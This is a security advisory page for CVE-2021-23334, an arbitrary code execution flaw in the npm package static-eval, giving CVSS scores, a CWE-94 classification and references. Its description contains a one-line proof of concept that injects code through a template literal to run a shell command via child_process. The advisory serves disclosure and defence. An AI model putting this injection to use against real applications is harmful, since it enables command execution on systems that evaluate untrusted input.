Vulnerability CVE-2021-23334


Published: 2021-02-11

Description:
All versions of package static-eval are vulnerable to Arbitrary Code Execution using FunctionExpressions and TemplateLiterals. PoC: var evaluate = require('static-eval'); var parse = require('esprima').parse; var src="(function (x) { return ${eval("console.log(global.process.mainModule.constructor._load('child_process').execSync('ls').toString())")} })()" var ast = parse(src).body[0].expression; evaluate(ast)

Type:

CWE-94

(Improper Control of Generation of Code ('Code Injection'))

CVSS2 => (AV:N/AC:L/Au:N/C:P/I:P/A:P)

CVSS Base Score
Impact Subscore
Exploitability Subscore
7.5/10
6.4/10
10/10
Exploit range
Attack complexity
Authentication
Remote
Low
No required
Confidentiality impact
Integrity impact
Availability impact
Partial
Partial
Partial
Affected software
Static-eval project -> Static-eval 

 References:
https://github.com/browserify/static-eval/blob/master/index.js%23L180
https://snyk.io/vuln/SNYK-JAVA-ORGWEBJARSNPM-1071860
https://snyk.io/vuln/SNYK-JS-STATICEVAL-1056765

Copyright 2024, cxsecurity.com

 

Back to Top